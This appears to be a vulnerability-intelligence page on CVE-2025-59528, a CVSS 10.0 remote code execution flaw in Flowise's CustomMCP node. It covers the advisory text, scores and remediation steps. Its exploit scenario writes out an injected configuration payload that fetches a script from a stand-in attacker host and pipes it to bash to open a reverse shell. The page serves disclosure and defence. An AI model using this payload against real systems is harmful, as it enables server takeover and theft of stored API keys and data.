Flowise
CVE-2025-59528
CRITICAL
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 10.0, EPSS 83.0%, PoC available. Flowise is a popular open-source LLM flow builder with a rapidly growing user base. The AI/ML tool ecosystem is increasingly targeted. Flowise instances often have access to API keys for multiple LLM providers, vector databases, and enterprise data sources. |
| Exploit ScenarioDerived | An attacker with access to a Flowise instance (which often runs without authentication) creates a CustomMCP node with a malicious server configuration: {"command":"npx;curl attacker.com/shell.sh|bash"}. When the workflow executes, Flowise spawns the command, executing the injected reverse shell. The attacker gains access to all configured API keys, data sources, and the underlying server. |
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Alert meAnalysisAIv1 – Mar 28, 2026
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig parameter is parsed unsafely, allowing attackers to inject arbitrary system commands through the MCP server configuration that are executed when Flowise spawns the MCP server process.
Earlier versions of this analysis (1)
RCE in Flowise AI workflow builder via command injection in CustomMCP node's server configuration parsing.
RemediationAI
Update to Flowise 3.0.6 or later. Enable authentication on Flowise instances. Validate and sanitize mcpServerConfig inputs using an allowlist of permitted commands. Run Flowise in a container with restricted filesystem and network access.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The CustomMCP node allows users to configure connections to external MCP (Model Context Protocol) servers. The mcpServerConfig string is parsed and used to construct a command-line invocation to spawn the MCP server process. The parser fails to sanitize shell metacharacters in the configuration values, allowing injection of arbitrary commands that execute when the MCP server is started.
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- Exploit and PoC references, threat intelligence from 22 sources
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code. Since this runs with full Node.js runtime privileges, it can access dangerous modules such as child_process and fs. This issue has been patched in version 3.0.6.
Executive ViewAI
Organizations using Flowise face critical risk from CVE-2025-59528, a code injection vulnerability rated CVSS 10.0. Successful exploitation could allow attackers to execute arbitrary code or commands on affected systems, potentially leading to full system compromise. With an EPSS score of 83%, this vulnerability faces very high likelihood of exploitation. Organizations should apply vendor updates immediately when available and implement compensating controls in the interim.
Apply vendor patch. If immediate patching is not feasible: (1) Deploy WAF rules to block injection patterns; (2) Restrict network access to affected components; (3) Enable enhanced logging for suspicious activity.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Exploit-DB
GitHub
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
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Remote code execution in Flowise before 3.1.3 arises because its Pyodide Python-code validator (validatePythonCodeForDat
Remote code execution in FlowiseAI Flowise before 3.1.3 lets an attacker execute arbitrary OS commands as the Flowise pr
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